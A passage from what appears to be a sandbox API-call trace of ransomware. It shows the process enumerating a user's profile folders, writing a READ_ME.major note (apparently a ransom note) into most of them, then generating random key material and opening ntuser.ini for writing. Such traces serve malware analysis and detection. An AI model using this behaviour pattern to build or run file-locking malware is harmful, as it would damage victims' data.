lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xcf5a65a7, ftLastAccessTime.dwHighDateTime=0x1d50248, ftLastWriteTime.dwLowDateTime=0xcf5a65a7, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0143.818] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\documents\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x590 [0143.819] WriteFile (in: hFile=0x590, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0143.820] CloseHandle (hObject=0x590) returned 1 [0143.820] FindNextFileW (in: hFindFile=0x60eca8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc19bd8f2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc19bd8f2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1 [0143.820] CreateFileW (lpFileName="\\Users\\FD1HVy\\Downloads\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\downloads\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x590 [0143.820] WriteFile (in: hFile=0x590, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0143.821] CloseHandle (hObject=0x590) returned 1 [0143.821] FindNextFileW (in: hFindFile=0x60eca8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd4499d75, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xce2f1526, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1 [0143.821] CreateFileW (lpFileName="\\Users\\FD1HVy\\Favorites\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\favorites\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x590 [0143.822] WriteFile (in: hFile=0x590, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0143.823] CloseHandle (hObject=0x590) returned 1 [0143.823] FindNextFileW (in: hFindFile=0x60eca8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x9463e5c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x9463e5c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Links", cAlternateFileName="")) returned 1 [0143.823] CreateFileW (lpFileName="\\Users\\FD1HVy\\Links\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\links\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x590 [0143.824] WriteFile (in: hFile=0x590, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0143.825] CloseHandle (hObject=0x590) returned 1 [0143.825] FindNextFileW (in: hFindFile=0x60eca8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Local Settings", cAlternateFileName="LOCALS~1")) returned 1 [0143.825] FindNextFileW (in: hFindFile=0x60eca8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xcf618002, ftLastAccessTime.dwHighDateTime=0x1d50248, ftLastWriteTime.dwLowDateTime=0xcf618002, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Music", cAlternateFileName="")) returned 1 [0143.825] CreateFileW (lpFileName="\\Users\\FD1HVy\\Music\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\music\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x590 [0143.826] WriteFile (in: hFile=0x590, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0143.827] CloseHandle (hObject=0x590) returned 1 [0143.827] FindNextFileW (in: hFindFile=0x60eca8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="My Documents", cAlternateFileName="MYDOCU~1")) returned 1 [0143.827] CreateFileW (lpFileName="\\Users\\FD1HVy\\My Documents\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\my documents\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x590 [0143.828] WriteFile (in: hFile=0x590, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0143.829] CloseHandle (hObject=0x590) returned 1 [0143.829] FindNextFileW (in: hFindFile=0x60eca8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="NetHood", cAlternateFileName="")) returned 1 [0143.829] CreateFileW (lpFileName="\\Users\\FD1HVy\\NetHood\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\nethood\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x590 [0143.830] WriteFile (in: hFile=0x590, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0143.831] CloseHandle (hObject=0x590) returned 1 [0143.831] FindNextFileW (in: hFindFile=0x60eca8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x20fc850f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xa9c141bf, ftLastAccessTime.dwHighDateTime=0x1d4d5d3, ftLastWriteTime.dwLowDateTime=0xa9c141bf, ftLastWriteTime.dwHighDateTime=0x1d4d5d3, nFileSizeHigh=0x0, nFileSizeLow=0x300000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="NTUSER.DAT", cAlternateFileName="")) returned 1 [0143.831] FindNextFileW (in: hFindFile=0x60eca8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x21204700, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x21204700, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x21204700, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="ntuser.dat.LOG1", cAlternateFileName="NTUSER~1.LOG")) returned 1 [0143.831] FindNextFileW (in: hFindFile=0x60eca8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x21204700, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x21204700, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x21204700, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="ntuser.dat.LOG2", cAlternateFileName="NTUSER~2.LOG")) returned 1 [0143.831] FindNextFileW (in: hFindFile=0x60eca8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x21204700, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x21204700, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4edc6408, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf", cAlternateFileName="NTUSER~1.BLF")) returned 1 [0143.831] FindNextFileW (in: hFindFile=0x60eca8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2122a949, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x2122a949, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4edc6408, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000001.regtrans-ms", cAlternateFileName="NTUSER~1.REG")) returned 1 [0143.831] FindNextFileW (in: hFindFile=0x60eca8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2122a949, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x2122a949, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4edc6408, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000002.regtrans-ms", cAlternateFileName="NTUSER~2.REG")) returned 1 [0143.831] FindNextFileW (in: hFindFile=0x60eca8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0xc1adea7d, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xc1adea7d, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xc1adea7d, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x14, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="ntuser.ini", cAlternateFileName="")) returned 1 [0143.831] FindNextFileW (in: hFindFile=0x60eca8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3f0f0bc5, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd4516574, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94022772, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="OneDrive", cAlternateFileName="")) returned 1 [0143.831] CreateFileW (lpFileName="\\Users\\FD1HVy\\OneDrive\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\onedrive\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x590 [0143.831] WriteFile (in: hFile=0x590, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0143.832] CloseHandle (hObject=0x590) returned 1 [0143.832] FindNextFileW (in: hFindFile=0x60eca8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xcfc3413c, ftLastAccessTime.dwHighDateTime=0x1d50248, ftLastWriteTime.dwLowDateTime=0xcfc3413c, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Pictures", cAlternateFileName="")) returned 1 [0143.832] CreateFileW (lpFileName="\\Users\\FD1HVy\\Pictures\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\pictures\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x590 [0143.833] WriteFile (in: hFile=0x590, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0143.834] CloseHandle (hObject=0x590) returned 1 [0143.834] FindNextFileW (in: hFindFile=0x60eca8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="PrintHood", cAlternateFileName="PRINTH~1")) returned 1 [0143.834] CreateFileW (lpFileName="\\Users\\FD1HVy\\PrintHood\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\printhood\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x590 [0143.834] WriteFile (in: hFile=0x590, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0143.835] CloseHandle (hObject=0x590) returned 1 [0143.835] FindNextFileW (in: hFindFile=0x60eca8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6228cd, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0xc6228cd, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0xc6228cd, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0143.835] FindNextFileW (in: hFindFile=0x60eca8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Recent", cAlternateFileName="")) returned 1 [0143.835] CreateFileW (lpFileName="\\Users\\FD1HVy\\Recent\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\recent\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x590 [0143.835] WriteFile (in: hFile=0x590, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0143.836] CloseHandle (hObject=0x590) returned 1 [0143.836] FindNextFileW (in: hFindFile=0x60eca8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd45b644a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xce4e13d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Saved Games", cAlternateFileName="SAVEDG~1")) returned 1 [0143.836] CreateFileW (lpFileName="\\Users\\FD1HVy\\Saved Games\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\saved games\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x590 [0143.837] WriteFile (in: hFile=0x590, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0143.837] CloseHandle (hObject=0x590) returned 1 [0143.838] FindNextFileW (in: hFindFile=0x60eca8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x44137e3b, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd462426d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xce389e99, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Searches", cAlternateFileName="")) returned 1 [0143.838] CreateFileW (lpFileName="\\Users\\FD1HVy\\Searches\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\searches\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x590 [0143.838] WriteFile (in: hFile=0x590, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0143.839] CloseHandle (hObject=0x590) returned 1 [0143.839] FindNextFileW (in: hFindFile=0x60eca8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="SendTo", cAlternateFileName="")) returned 1 [0143.839] CreateFileW (lpFileName="\\Users\\FD1HVy\\SendTo\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\sendto\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x590 [0143.859] WriteFile (in: hFile=0x590, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0143.859] CloseHandle (hObject=0x590) returned 1 [0143.859] FindNextFileW (in: hFindFile=0x60eca8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0143.860] CreateFileW (lpFileName="\\Users\\FD1HVy\\Start Menu\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\start menu\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x590 [0143.860] WriteFile (in: hFile=0x590, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0143.861] CloseHandle (hObject=0x590) returned 1 [0143.861] FindNextFileW (in: hFindFile=0x60eca8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0143.861] CreateFileW (lpFileName="\\Users\\FD1HVy\\Templates\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\templates\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x590 [0143.861] WriteFile (in: hFile=0x590, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0143.862] CloseHandle (hObject=0x590) returned 1 [0143.862] FindNextFileW (in: hFindFile=0x60eca8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xcf9ab985, ftLastAccessTime.dwHighDateTime=0x1d50248, ftLastWriteTime.dwLowDateTime=0xcf9ab985, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Videos", cAlternateFileName="")) returned 1 [0143.862] CreateFileW (lpFileName="\\Users\\FD1HVy\\Videos\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\videos\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x590 [0143.863] WriteFile (in: hFile=0x590, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0143.864] CloseHandle (hObject=0x590) returned 1 [0143.864] FindNextFileW (in: hFindFile=0x60eca8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xcf9ab985, ftLastAccessTime.dwHighDateTime=0x1d50248, ftLastWriteTime.dwLowDateTime=0xcf9ab985, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Videos", cAlternateFileName="")) returned 0 [0143.864] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0143.864] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\ntuser.ini", dwFileAttributes=0x80) returned 1 [0143.864] CreateFileW (lpFileName="\\Users\\FD1HVy\\ntuser.ini" (normalized: "c:\\users\\fd1hvy\\ntuser.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, 